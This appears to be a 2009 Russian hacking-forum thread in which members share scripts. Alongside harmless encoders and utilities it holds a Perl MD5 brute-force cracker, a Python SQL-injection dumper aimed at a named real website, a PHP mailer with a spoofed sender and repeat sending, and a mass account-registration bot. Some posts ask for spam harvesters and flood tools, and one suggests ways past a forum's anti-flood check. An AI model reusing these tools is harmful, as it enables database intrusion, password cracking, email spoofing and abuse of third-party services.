print "Base 64 hash: ", encode_base64("$b64"), "\n";
}
if ($what == 3)
{
use Digest::SHA1 qw(sha1_hex);
print "Enter simvols: ";
$sha = <STDIN>;
chomp ($sha);
print "SHA-1: ", sha1_hex($sha), "\n";
}
if ($what == 4)
{
use strict;
sub ascii_to_hex ($)
{
(my $asc = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
return $asc;
}
print "Enter simvols:: ";
my $asc = <STDIN>;
chomp ($asc);
my $hex = ascii_to_hex $asc;
print "Hex: $hex\n";
}
if ($what == 5)
{
sub AsciiToBinary
{
my(%h)=('0'=>'00110000','1'=>'00110001','2'=>'00110010','3'=>'00110011','4'=>'00110100','5'=>'00110101','6'=>'00110110','7'=>'00110111','8'=>'00111000','9'=>'00111001','A'=>'01000001','B'=>'01000010','C'=>'01000011','D'=>'01000100','E'=>'01000101','F'=>'01000110','G'=>'01000111','H'=>'01001000','I'=>'01001001','J'=>'01001010','K'=>'01001011','L'=>'01001100','M'=>'01001101','N'=>'01001110','O'=>'01001111','P'=>'01010000','Q'=>'01010001','R'=>'01010010','S'=>'01010011','T'=>'01010100','U'=>'01010101','V'=>'01010110','W'=>'01010111','X'=>'01011000','Y'=>'01011001','Z'=>'01011010' );
$_=uc $_[0];
s/([0-9A-Z])/$h{$1}/g;
return $_;
}
print "Enter simvols:\n";
$line_in = <stdin>;
$line_out=AsciiToBinary($line_in);
print "$line_out";
}
if ($what == 6)
{
sub HexToBinary
{my(%h)=('0'=>'0000','1'=>'0001','2'=>'0010','3'=>'0011','4'=>'0100','5'=>'0101','6'=>'0110','7'=>'0111','8'=>'1000','9'=>'1001','A'=>'1010','B'=>'1011','C'=>'1100','D'=>'1101','E'=>'1110','F'=>'1111');
$_=uc $_[0];
s/([0-9A-F])/$h{$1}/g;
return $_; };
print "Enter simvols:\n";
$line_in = <stdin>;
$line_out=HexToBinary($line_in);
print "Binary:$line_out";
}
if ($what == 7)
{
use strict;
sub sql_hex ($)
{
(my $sql = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
return $sql;
}
print "Enter simvols:: ";
my $sql = <STDIN>;
chomp ($sql);
my $sql = sql_hex $sql;
print "Hex:0x$sql\n";
}
if ($what == 8)
{
print "Good luck!\n";
exit;
}

g-warning
28.02.2009, 10:48
del

-m0rgan-
01.03.2009, 15:17
Перловый крякер md5.
#!/usr/bin/perl
$ver = "01";
$dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds.

if ($dbgtmr<=0){ die "Set dbgtmr to a value >=1 !\n";};
use Digest::MD5 qw(md5_hex);
use Time::HiRes qw(gettimeofday);

if ($ARGV[0]=~"a") {
$alpha = "abcdefghijklmnopqrstuvwxyz";}
if ($ARGV[0]=~"A") {
$alpha = $alpha. "ABCDEFGHIJKLMNOPQRSTUVWXYZ";}
if ($ARGV[0]=~"d") {
$alpha = $alpha."1234567890";}
if ($ARGV[0]=~"x") {
$alpha = $alpha. "!\"\$%&/()=?-.:\\*'-_:.;,";}

if ($alpha eq "" or $ARGV[3] eq "") {usage();};
if (length($ARGV[3]) != 32) { die "Sorry but it seems that the MD5 is not valid!\n";};

print "Selected charset for attack: '$alpha\'\n";
print "Going to Crack '$ARGV[3]'...\n";

for (my $t=$ARGV[1];$t<=$ARGV[2];$t++){
crack ($t);
}

sub usage{
print "\n\nMD5 Hash Bruteforce Kit v_$ver\n";
print "by unix_chro alias backtrack (311733@yahoo.com)\n";
print "Member in staff leader:elite-members,ubuntu-hackers\n\n";
print "USAGE\n";
print "./md5crack <charset> <mincount> <maxcount> <yourMD5>\n";
print " Charset can be: [aAdx]\n";
print " a = {'a','b','c',...}\n";
print " A = {'A','B','C',...}\n";
print " d = {'1','2','3',...}\n";
print " x = {'!','\"',' ',...}\n";
print "EXAMPLE FOR CRACKING A MD5 HASH\n";
print "./md5crack.pl ad 1 3 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with all lowercase Alphas and all digits.\n";
print " MD5 Kit only tries combinations with a length from 1 and 3 characters.\n-------\n";
print "./md5crack.pl aA 3 3 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with all lowercase Alphas and all uppercase Alphas.\n";
print " MD5 Kit only tries passwords which length is exactly 3 characters.\n-------\n";
print "./md5crack.pl aAdx 1 10 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with nearly every character.\n";
print " MD5 Kit only tries combinations with a length from 1 to 10 characters.\n";
die "Quitting...\n";
}

sub crack{
$CharSet = shift;
@RawString = ();
for (my $i =0;$i<$CharSet;$i++){ $RawString[i] = 0;}
$Start = gettimeofday();
do{
for (my $i =0;$i<$CharSet;$i++){
if ($RawString[$i] > length($alpha)-1){
if ($i==$CharSet-1){
print "Bruteforcing done with $CharSet Chars. No Results.\n";
$cnt=0;
return false;
}
$RawString[$i+1]++;
$RawString[$i]=0;
}
}
################################################## #
$ret = "";
for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);}
$hash = md5_hex($ret);
$cnt++;
$Stop = gettimeofday();
if ($Stop-$Start>$dbgtmr){
$cnt = int($cnt/$dbgtmr);
print "$cnt hashes\\second.\tLast Pass '$ret\'\n";
$cnt=0;
$Start = gettimeofday();
}
print "$ARGV[3] != $hash ($ret)\n";
if ($ARGV[3] eq $hash){
die "\n**** Password Cracked! => $ret\n";
}
################################################## #
#checkhash($CharSet)."\n";

$RawString[0]++;
}while($RawString[$CharSet-1]<length($alpha));
}

sub checkhash{
$CharSet = shift;
$ret = "";
for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);}
$hash = md5_hex($ret);
$cnt++;
$Stop = gettimeofday();
if ($Stop-$Start>$dbgtmr){
$cnt = int($cnt/$dbgtmr);
print "$cnt hashes\\second.\tLast Pass '$ret\'\n";
$cnt=0;
$Start = gettimeofday();
}

if ($ARGV[3] eq $hash){
die "\n**** Password Cracked! => $ret\n";
}

}

Нашол на поломаном забугорном хак портале...

Arigona
02.03.2009, 13:03
-m0rgan-, пригодилось очень, спасибо

Ponchik
02.03.2009, 21:36
Хотел себе красивые ссылочки как на youtube.com тоесть буковке, но короткие, ну в общем можно былобы рэндомом но они будут повторяться, и так можно генерить хз скока и будут они не короткие эти ссылки, вы чёто поняли? Я тоже нет :o
В общем нате
<?php
function symbols() {
$ret = array();
for($i=ord('A');$i<=ord('Z');$i++) {
$ret[] = chr($i);
}
for($i=ord('a');$i<=ord('z');$i++) {
$ret[] = chr($i);
}
for($i=1;$i<=9;$i++) {
$ret[] = $i;
}
return $ret;
}

function url($chislo) {
if(!is_int($chislo) || $chislo < 0) return false;
$symbols = symbols();
$result = '';
$system = count($symbols);

$ostatok = floor($chislo/$system);
$minus = $chislo-($ostatok*$system);
$result = $symbols[$minus].$result;

while($chislo >= $system) {
$chislo = $ostatok;
$ostatok = floor($chislo/$system);
$minus = $chislo-($ostatok*$system);
$result = $symbols[$minus].$result;
}

return $result;
}

function deurl($str) {
$symbols = symbols();
$id = 0;
$system = count($symbols);
$str = strrev($str);
for($i=0;$i<strlen($str);$i++) {
$key = array_search($str[$i],$symbols);
$id += $key*pow($system,$i);
}
return $id;
}
?>
Например у нас в БД id 123456 вместо ?id=123456 выведем ?id=<?=url(123456)?>
И получица ?id=hK2
Обратно получаем ID deurl('hK2');
Тоесть
<?php
#functions
echo url(123456)."\r\n";
echo deurl('hK2');
?>
hK2
123456
Кто понял зачем это, юзайте :D
При написании скрипта постродал 1 мозг, 2 руки и 2 кружки чая, итого одно хлебо-булочное изделие

Andrej1928
02.03.2009, 22:19
парни может кто допишет функцию для вложения фаилов в письмо очень надо
<?php

print <<<HERE
<style type = "text/css">
body {
font-family: Arial;
}

#inputone {
width: 100%;
}

#textarea {
width: 100%;
height: 500px;
}

#infotd {
font-size: 13px;
width: 100px;
}

#infotd2 {
font-size: 13px;
}

#bgcolor_infotd {
background-color: #dbeaff;
}

#good_send {
color: #00419a;
}

#sends {
width: 20px;
}

#notice {
color: red;
}

</style>

HERE;

$html_or_text = $_GET["html_or_text"];
$sends = $_GET["sendes"];

if($_GET["html_or_text"] == 1) {
$htmltext = "\r\nContent-type: text/plain";
} else if ($_GET["html_or_text"] == 2) {
$htmltext = "\r\nContent-type: text/html";
} else {}

if($_GET["codir"] == 1) {
$cod = "windows-1251";
} else if ($_GET["codir"] == 2){
iconv("windows-1251", "utf-8", $email . $them . $body . $send_full . $htmltext);
$cod = "utf-8";
} else {}

$mime = "$htmltext; charset = \"$cod\"";

if($_GET["sender_name"] == TRUE) {
$sender_full = $sender_name . " <" . $sender_mail . ">";
} else {
$sender_full = $sender_mail;
}

if(isset($_GET["send"])) {
for($i = 0; $i < $_GET["sendes"]; $i++) {
mail("$email", "$them", "$body", "From: $sender_full $mime");
}
print "<center><span id = \"good_send\">Сообщение отправлено</span></center>";
$fp = fopen("result.txt", "a");
$content = <<<HERE
IP: $REMOTE_ADDR
Agent: $HTTP_USER_AGENT
Cookie: $QUERY_STRING
-
Отправитель (e-mail): $sender_mail
Отправитель (имя): $sender_name
E-mail: $email
Тема: $them
Текст письма -
$body
text/html: $html_or_text
Количество писем за раз: $sends
-----------------------------

HERE;

fputs($fp, $content);
fclose($fp);
} else {
print <<<HERE
<form>
<table border = "0" width = "100%" id = "infotd2" cellpadding = "1" cellspacing = "1">
<tr id = "bgcolor_infotd">
<td id = "infotd">
От кого (e-mail):
</td>
<td>
<input type = "text" id = "inputone" name = "sender_mail" value = "bill@microsoft.com" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
От кого (Имя):
</td>
<td>
<input type = "text" id = "inputone" name = "sender_name" value = "Билл" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
Кому<span id = "notice">*</span>:
</td>
<td>
<input type = "text" id = "inputone" name = "email" value = "admin@mail.ru" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
Тема письма<span id = "notice">*</span>:
</td>
<td>
<input type = "text" id = "inputone" name = "them" value = "Hello" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td valign = "top" id = "infotd">
Текст письма<span id = "notice">*</span>:
</td>
<td>
<textarea name = "body" id = "textarea">You are lol:)</textarea>
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Файл: <input type="file" name="File"> - Вы можете прикрепить файл размером не больше 2мб.
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
<input type = "radio" name = "html_or_text" value = "1" checked = "checked">Только текст
<input type = "radio" name = "html_or_text" value = "2">HTML и текст
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Количество писем за раз:
<select name = "sendes">
<option value = "1">1</option>
<option value = "2">2</option>
<option value = "3">3</option>
<option value = "4">4</option>
<option value = "5">5</option>
<option value = "6">6</option>
<option value = "7">7</option>
<option value = "8">8</option>
<option value = "9">9</option>
<option value = "10">10</option>
<option value = "11">11</option>
<option value = "12">12</option>
<option value = "13">13</option>
<option value = "14">14</option>
<option value = "15">15</option>
<option value = "16">16</option>
<option value = "17">17</option>
<option value = "18">18</option>
<option value = "19">19</option>
<option value = "20">20</option>
</select>
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Кодировка письма:
<select name = "codir">
<option value = "1">windows-1251</option>
<option value = "2">utf-8</option>
</select>
</td>
</tr>
<tr>
<td valign = "top" colspan = "2">
<table border = "0" width = "100%" id = "infotd2">
<td valign = "top">
Поля отмеченные знаком <span id = "notice">*</span> обязательны для заполнения
</td>
<td colspan = "2" align = "right">
<input type = "reset" value = "Вернуть" />
<input type = "submit" value = "Отправить" />
<input type = "hidden" name = "send" />
</td>
<table>
</td>
</tr>
</form>

HERE;

}

?>

faza02
02.03.2009, 22:48
#!/usr/bin/python
#sqldump
#http://sql.parsers.info
#faza02[at]gmail[dot]com

import re, urllib
for i in range(1,30):
site='http://www.mothernaturalclean.com/int.php?id=3+and+0+union+select+1,2,table_name+fro m+information_schema.tables+limit+' +str(i) + ',1'
bl=str(urllib.urlopen(site).read())
dump=re.findall(r'n\"\>\<a href=.*?\=1\">.*?\</a>',bl)
dump=str(dump)[2:-2]
dump=dump[27:]
dump=dump.replace('</a>','')
print dump
дампер скл через limit.. на питоне, написан мной.

faza02
04.03.2009, 01:19
#!/usr/bin/python
#antichat.ru info
#http://sql.parsers.info
#faza02[at]gmail[dot]com

import re, urllib
print 'antichat.ru info by faza02'
while 1:
u=raw_input(u'user: ')
antichat=urllib.urlopen('http://forum.antichat.ru/member.php?u='+ u).read()
nick=re.findall(r'\<span class=\"normal\"\>.*?\</span\>\</td\>',antichat)
nick=str(nick)[2:-2]
nick=nick[23:]
nick=nick.replace('</span></td>','')
rep=re.findall(r'\(\<b\>.*?\</b\>/\<b\>.*?\</b\>\)',antichat)
rep=str(rep)[2:-2]
rep=rep.replace('</b>','')
rep=rep.replace('<b>','')
post=re.findall(r'\<strong\>.*?\</strong\> \(',antichat)
post=str(post)[2:-2]
post=post.replace('<strong>','')
post=post.replace('</strong> (','')
reg=re.findall(': \<strong\>.*?200.*?\</strong\>',antichat)
reg=str(reg)[2:-2]
reg=reg.replace(': <strong>','')
reg=reg.replace('</strong>','')

print '\nnick: ' + nick
print 'reputation: ' + rep[1:-1]
print 'posts: ' + post
print 'registration: ' + reg
дело было вечером, делать было нечего..))
ник, репу, посты и регу выводит, нужного вам юзера на ачате..

De-visible
04.03.2009, 01:27
#!/usr/bin/python
#antichat.ru info
#http://sql.parsers.info
#faza02[at]gmail[dot]com

import re, urllib
print 'antichat.ru info by faza02'
while 1:
u=raw_input(u'user: ')
antichat=urllib.urlopen('http://forum.antichat.ru/member.php?u='+ u).read()
nick=re.findall(r'\<span class=\"normal\"\>.*?\</span\>\</td\>',antichat)
nick=str(nick)[2:-2]
nick=nick[23:]
nick=nick.replace('</span></td>','')
rep=re.findall(r'\(\<b\>.*?\</b\>/\<b\>.*?\</b\>\)',antichat)
rep=str(rep)[2:-2]
rep=rep.replace('</b>','')
rep=rep.replace('<b>','')
post=re.findall(r'\<strong\>.*?\</strong\> \(',antichat)
post=str(post)[2:-2]
post=post.replace('<strong>','')
post=post.replace('</strong> (','')
reg=re.findall(': \<strong\>.*?200.*?\</strong\>',antichat)
reg=str(reg)[2:-2]
reg=reg.replace(': <strong>','')
reg=reg.replace('</strong>','')

print '\nnick: ' + nick
print 'reputation: ' + rep[1:-1]
print 'posts: ' + post
print 'registration: ' + reg
дело было вечером, делать было нечего..))
ник, репу, посты и регу выводит, нужного вам юзера на ачате..

Многовато операций...

Pashkela
05.03.2009, 17:26
Encoder v.1.0 - win32-Encoder для кодирования/декодирования ваших данных по различным алгоритмам:
-------
Encode:
-------
1. Text->MD5
2. Text->CHR chr(49).chr(50).chr(51).chr(50).chr(49)
3. Text->MSSQL char(49)%2bchar(50)%2bchar(51)%2bchar(50)%2bchar(4 9)
4. Text->HEX1 0x3132333231
5. Text->HEX2 %31%32%33%32%31
6. Text->PostgreSql chr(49)||chr(50)||chr(51)||chr(50)||chr(49)
7. Text->ASC,String.fromCharCode()
8. Text->Base64
9. Text->CRC32
10.Text->SHA1
11. Text->ASC2 char(49,50,51,50,49)
12. Text->Urlencode
13. Text->Htmlentities
14. Text->\x format
15. MD5 check file hash sum
16. CRC32 check file hash sum
17. SHA-1 check file hash sum
-------
Decode:
-------
1. CHR chr(49).chr(50).chr(51).chr(50).chr(49)->Text
2. MSSQL char(49)%2bchar(50)%2bchar(51)%2bchar(50)%2bchar(4 9)->Text
3. HEX1 0x3132333231->Text
4. HEX2 %31%32%33%32%31->Text
5. PostgreSql chr(49)||chr(50)||chr(51)||chr(50)||chr(49)->Text
6. ASC,String.fromCharCode()->Text
7. Base64->Text
8. ASC2 char(49,50,51,50,49)->Text
9. Urlencode->Text
10. Htmlentities->Text
11. \x format->Text
12. Detect HASH type

http://i059.radikal.ru/0903/54/d075faa6e470.jpg

Скачать: http://bug-track.ru/prog/encoder1.0.rar

[R]eD
05.03.2009, 17:34
Исходники где?

Pashkela
05.03.2009, 18:01
пока прижму:)

zifanchuck
06.03.2009, 12:55
Ну вот вчера решил написать маленький скрипт что бы следить кто пытаеться проломиться в админ панель)
Не у многих из вас админка находиться по адресу site.ru/admin.php ) етот скрипт как раз можна назвать admin.php и залить на сайт)))
<?php
$time = date("d.m.Y G:i.s");
$ip = $_SERVER['REMOTE_ADDR'];
$fd = fopen("test.txt", "a+");///вместо test.txt путь к файлу для записи логов
fwrite($fd, "$time---$ip\n");
fclose($fd);
?>

записывает время и ип в таком формате
06.03.2009 11:49.15---127.0.0.1

что бы очистить полностью test.txt поможет етот скрипт

<?php
$fd = fopen("test.txt", "w+");/// вместо test.txt путь к файлу для очистки
fclose($fd);
?>

п.с Токо не ставьте минусы, я токо учусь :)

oRb
06.03.2009, 13:12
Ну вот вчера решил написать маленький скрипт что бы следить кто пытаеться проломиться в админ панель)
Зачем городить еще одни логи?
cat /var/log/apache2/error.log | grep admin.php

bi_w
06.03.2009, 18:49
Всем добрый день или вечер, с утра просидел искал на этом форуме скрипт, но не нашел. Для сбора базы mail.ru, типа спаммер (поиск через зарегенные пользователи), где можно ставить параметры поиска и онлайн, программа есть, но нужен скрипт. Если у кого-нибудь есть что-нибудь поделитесь пожалуйста. Только сильно ногами не пинайте. Заранее благодарен. Все, иду есть...

De-visible
07.03.2009, 03:15
Всем добрый день или вечер, с утра просидел искал на этом форуме скрипт, но не нашел. Для сбора базы mail.ru, типа спаммер (поиск через зарегенные пользователи), где можно ставить параметры поиска и онлайн, программа есть, но нужен скрипт. Если у кого-нибудь есть что-нибудь поделитесь пожалуйста. Только сильно ногами не пинайте. Заранее благодарен. Все, иду есть...
Доброе утро!, ты помоему не только разделом и темой ошибся но еще и форумом, откуда вы такие беретесь:(....

bi_w
07.03.2009, 03:20
Прошу прощения за флуд. А подсказать никак? Ладно, спасибо.

kraken
07.03.2009, 10:40
писал партнерку с многоуровневой реф программой столкнулся с выводом дерева.
Вид бд

......| id | login | st0 | st1 | st2 | .....| st {$maxlv}

st0-st {$maxlv} растояние он 0 - $maxlv вершины дерева
Проблему решил рекурсией.


function show_tree($id,$n)
{
if ($n>$this->bd_step) return 0;
$ret="<table border=1>";
$res=bd_sql_result("SELECT id,login FROM ".$this->bd_perfix."_users WHERE id=".$id);
$name=mysql_result($res,0,1);
$res=bd_sql_result("SELECT sid,slogin FROM ".$this->bd_perfix."_users WHERE st0=".$id);
$rows=mysql_num_rows($res);

$ret.="
<tr>
<td COLSPAN=".$rows.">
<center>$name</center>
</td>
</tr>
<tr>";
for ($i=0;$i<$rows;$i++)
{
$ret.= "<td>".$this->show_tree(mysql_result($res,$i,0),$n+1)."</td>";
}
$ret.= "</tr></table>";
return $ret;
}


Вызывается show_tree($id,$n)
$id относительно кого строить дерево
bd_step сколько ступеней отображать
Может кому и пригодится

bombeg
07.03.2009, 10:50
$this->bd_perfix
mysql_result($res,$i,0
:D

mailbrush
07.03.2009, 17:06
Автореггер аккаунтов ЛетИтБит
<?php
set_time_limit(0);
echo "<table border=1>
<form method=post>
<tr><td>Сколько акков регать?</td><td><input type=text name=count></td>
<tr><td>Логин:</td><td><input type=text name=login><br><input name=lr type=checkbox value=ok> Рандумно?</td>
<tr><td>Пасс:</td><td><input type=text name=pass type=password><br><input name=rand type=checkbox value=ok> Рандумно?</td>
<tr><td><input type=submit value=\"Регайся!\"></td>
</table>";
if(isset($_POST['count'])) {
for($i=1;$i<=$_POST['count'];$i++)
{
$fp = fsockopen("letitbit.net", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
if($_POST['lr']=='ok') $rand=rand(234567,95999); else $rand=$_POST['login'];
if(isset($_POST['rand'])) if($_POST['rand']=='ok') $pass=rand(10000,999999); else $pass=$_POST['pass'];
$str="login=$rand&pass=$pass&email=$rand@yandex.ru&terms=1";
$len=strlen($str);
$out = "POST /ftp/register.php HTTP/1.1\r\n";
$out .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$out .= "Referer: http://letitbit.net/ftp/register.php\r\n";
$out .= "Accept-Language: ru\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "UA-CPU: x86\r\n";
$out .= "Accept-Encoding: gzip, deflate\r\n";
$out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)\r\n";
$out .= "Proxy-Connection: Keep-Alive\r\n";
$out .= "Content-Length: $len\r\n";
$out .= "Host: letitbit.net\r\n";
$out .= "Pragma: no-cache\r\n\r\n";
$out .= $str;
$fps=fopen("regged.txt","a+");
fwrite($fps, $rand.":".$pass."\r\n");
fwrite($fp, $out);
fclose($fp);
}}}
?>

DVD_RW
07.03.2009, 17:12
mailbrush - Ты заебал слать всем мессаги в аську!!! как шлюха , ей богу , извините

m0Hze
07.03.2009, 17:26
А что шлет ексли не секрет?

mailbrush
07.03.2009, 17:33
А что шлет ексли не секрет?Рандумный логин, пасс и мыло. В файл реггед.тхт пишет вида юзернейм:пасс.

Nuke142
07.03.2009, 22:53
Существует ли паблик спамилка ЛС на torrents.ru ?

real_kas
08.03.2009, 10:15
//
//Функция перевода UTF-8 в Windows-1251
//
function utf8win1251($s){
$out = $c1 = "";
$byte2=false;
for ($c=0;$c<strlen($s);$c++){
$i=ord($s[$c]);
if ($i<=127) $out.=$s[$c];
if ($byte2){
$new_c2=($c1&3)*64+($i&63);
$new_c1=($c1>>2)&5;
$new_i=$new_c1*256+$new_c2;
if ($new_i==1025){
$out_i=168;
}
else{
if ($new_i==1105){
$out_i=184;
}
else {
$out_i=$new_i-848;
}
}
$out.=chr($out_i);
$byte2=false;
}
if (($i>>5)==6) {
$c1=$i;
$byte2=true;
}
}
return $out;
}
//
//Использование: echo utf8win1251($text);
//

mailbrush
08.03.2009, 11:02
real_kas, чем полезна эта функция???
Разве не легче использовать стандартную - iconv()...

Тема вроде называется Полезные скрипты

real_kas
08.03.2009, 11:17
real_kas, чем полезна эта функция???
Разве не легче использовать стандартную - iconv()...

Тема вроде называется Полезные скрипты

Сорри, просто привел альтернативу

Nuke142
08.03.2009, 13:47
На страницах ранее был флудер под phpbb.
Отлично робит, только вот добавить ему функцию альтернативного сообщения, а то нужный форум отвергает постинг, ссылаясь на то что нельзя подряд два одинаковых...

mailbrush
08.03.2009, 18:15
Nuke142, ссылку на флудер.

Nuke142
08.03.2009, 18:38
mailbrush, http://forum.antichat.ru/showthread.php?p=1033022-phpbb#post1033022
#575

fatalo
09.03.2009, 20:17
Nuke142,добавляй в конец сообщения рандомный мусор(типа 3q23)

159932
10.03.2009, 02:45
<html>
<head>
<title>Турба-реверсо-ипа! чекает pr/ТиЦ/alexa/сортерует по весу сисадмина датацентра =\</title>
<style>
<!--
image {
border:0;
}
body {
font-family: verdana, arial, helvetica, sans-serif;
margin:0;
padding:85px;
text-align:left;
font-size:0.7em;
background:#FFFFFF;
}
td{
border: 1px #89B4CC solid;
text-align:center;
}
-->
</style>
<script>
</script>
</head>
<body>
<form method="post" action="">
<input name="ip" style="width:180px; height:20px; border:1px black solid; margin-top:5px; text-align:center">
<input type="submit" value="чекнуть" style="border:1px #89B4CC solid;">
</form>
<?
set_time_limit(0);
ignore_user_abort();
/*
реверс-ип + пр + тиц + алекса блять .............

(c) 159932
*/

define('GOOGLE_MAGIC', 0xE6359A60);
function nooverflow($a){
while ($a<-2147483648)
$a+=2147483648+2147483648;
while ($a>2147483647)
$a-=2147483648+2147483648;
return $a;
}

function zeroFill ($x, $bits){
if ($bits==0) return $x;
if ($bits==32) return 0;
$y = ($x & 0x7FFFFFFF) >> $bits;
if (0x80000000 & $x)
{
$y |= (1<<(31-$bits));
}
return $y;
}

function mix($a,$b,$c){
$a=(int)$a; $b=(int)$b; $c=(int)$c;
$a -= $b; $a -= $c; $a=nooverflow($a); $a ^= (zeroFill($c,13));
$b -= $c; $b -= $a; $b=nooverflow($b); $b ^= ($a<<8);
$c -= $a; $c -= $b; $c=nooverflow($c); $c ^= (zeroFill($b,13));
$a -= $b; $a -= $c; $a=nooverflow($a); $a ^= (zeroFill($c,12));
$b -= $c; $b -= $a; $b=nooverflow($b); $b ^= ($a<<16);
$c -= $a; $c -= $b; $c=nooverflow($c); $c ^= (zeroFill($b,5));
$a -= $b; $a -= $c; $a=nooverflow($a); $a ^= (zeroFill($c,3));
$b -= $c; $b -= $a; $b=nooverflow($b); $b ^= ($a<<10);
$c -= $a; $c -= $b; $c=nooverflow($c); $c ^= (zeroFill($b,15));

return array($a,$b,$c);
}

function GoogleCH($url, $length=null, $init=GOOGLE_MAGIC) {
if(is_null($length)) {
$length = sizeof($url);
}
$a = $b = 0x9E3779B9;
$c = $init;
$k = 0;
$len = $length;
while($len >= 12) {
$a += ($url[$k+0] +($url[$k+1]<<8) +($url[$k+2]<<16) +($url[$k+3]<<24));
$b += ($url[$k+4] +($url[$k+5]<<8) +($url[$k+6]<<16) +($url[$k+7]<<24));
$c += ($url[$k+8] +($url[$k+9]<<8) +($url[$k+10]<<16)+($url[$k+11]<<24));
$mix = mix($a,$b,$c);
$a = $mix[0]; $b = $mix[1]; $c = $mix[2];
$k += 12;
$len -= 12;
}

$c += $length;
switch($len) /* all the case statements fall through */
{
case 11: $c+=($url[$k+10]<<24);
case 10: $c+=($url[$k+9]<<16);
case 9 : $c+=($url[$k+8]<<8);
/* the first byte of c is reserved for the length */
case 8 : $b+=($url[$k+7]<<24);
case 7 : $b+=($url[$k+6]<<16);
case 6 : $b+=($url[$k+5]<<8);
case 5 : $b+=($url[$k+4]);
case 4 : $a+=($url[$k+3]<<24);
case 3 : $a+=($url[$k+2]<<16);
case 2 : $a+=($url[$k+1]<<8);
case 1 : $a+=($url[$k+0]);
/* case 0: nothing left to add */
}
$mix = mix($a,$b,$c);
/*-------------------------------------------- report the result */
return $mix[2];
}

function strord($string) {
for($i=0;$i<strlen($string);$i++) {
$result[$i] = ord($string{$i});
}
return $result;
}

function get_pr($url) {
$result='error';

if (($url.""!="")&&($url.""!="http://")):
if (substr(strtolower($url),0,7)!="http://"):
$url="http://".$url;
endif;

$url="info:".$url;
$checksum=GoogleCH(strord($url));
$google_url=sprintf("http://www.google.com/search?client=navclient&ch=6%u&features=Rank&q=".$url,$checksum); // url to get from google

$handle = fopen($google_url, "rb");
$contents = '';
while (!feof($handle)) {
$contents.= fread($handle, 8192);
}
fclose($handle);
$p=explode(":",$contents);
if (isset($p[2])):
$result=trim($p[2]);
endif;
endif;

return $result;
}


/////////// /////////// /////////// /////////// /////////// /////////// /////////// /////////// ///////////
/////////// /////////// /////////// /////////// /////////// /////////// /////////// ///////////
/////////// /////////// /////////// /////////// /////////// /////////// /////////// /////////// ///////////


if (isset($_POST['ip'])) {

$ip = (preg_match('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#' , $_POST['ip']) || preg_match('#[a-z0-9-_]{1,}\.[a-z\.]{2,}#i', $_POST['ip'])) ? $_POST['ip'] : die('не правильно введён урл/ип');
$reverse = file_get_contents('http://www.ip-adress.com/reverse_ip/'.$ip);
if (strpos($reverse, 'could not be resolved. Make sure that you enter an valid IP address, host or domainname.')) die('поиск не дал результатов, или введён не верный урл/ип');
preg_match_all('#<td><a href="/reverse_ip/(.*?)"#is', $reverse, $hosts);
$hosts = sizeof($hosts[1]) ? $hosts[1] : die('ни одного хоста не найдено');

foreach ($hosts as $url) {
$data[$url]['pr'] = get_pr($url); # получение pr'a
preg_match('#<b>Индекс цитирования \(тИЦ\) ресурса \&\#151; (\d+)<\/b>#', iconv('UTF-8', 'windows-1251', file_get_contents('http://search.yaca.yandex.ru/yca/cy/ch/'.$url)), $tic);
$data[$url]['tic'] = $tic[1]; # получене ТиЦ'a
preg_match('#<span class="descBold">(.*?)-->(.*?)</span>#', file_get_contents('http://www.alexa.com/data/details/traffic_details/'.$url), $alexa);
$data[$url]['alexa'] = $alexa[2]; # получене alexa'a
}
echo '<table style="border: 1px #89B4CC solid; width:500px">
<tr style="font-weight: bold; background: #F6F7FD">
<td>урл</td>
<td>pr</td>
<td>ТиЦ</td>
<td>alexa</td>
</tr>';

foreach ($data as $url=>$info) {
echo '<tr>
<td style="text-align: left; padding-left: 10px">'.$url.'</td>
<td>'.$info['pr'].'</td>
<td>'.$info['tic'].'</td>
<td>'.$info['alexa'].'</td>
</tr>';
}
echo '</table>';
}
?>
</body>
</html>
http://rapidshare.com/files/207334014/rev.php.html
а то пробелы форум лишние ставит=\

159932
10.03.2009, 02:59
<html>
<head>
<title>r4p1D 4eker | адское превадо бай циферки ..</title>
<link rel="icon" href="data:image/ico;base64,AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAA AIAAAAAEAIAAAAAAAAAAAABMLAAATCwAAAAAAAAAAAAAAAAAA//////////////////////////////////////////////////////////////////////////8AAAAA///////////////////////////////////////////////////////////08/P/2NfX/9jX1////////////////////////////////////////////////////////////+no6P+9urr/uLS0/+7u7v//////////////////////////////////////////////////////9PPz/726uv+no6P/09HR////////////////////////////////////////////////////////////3tzc/62pqf+tqan/4+Li////////////////////////////////////////////////////////////yMbG/6ejo/+tqan/7u7u////////////////////////////////////////////////////////////yMbG/6ejo/+tqan/7u7u////////////////////////////////////////////////////////////3tzc/6ejo/+no6P/7u7u////////////////////////////////////////////////////////////9PPz/62pqf+no6P/2NfX//////+vk3//iF1A/4hdQP+IXUD/iF1A/////////////////////////////////8jGxv+no6P/vbq6////////////6+Tf/2AnAP9gJwD/YCcA/2AnAP////////////////////////////////+tqan/p6Oj/+no6P//////4db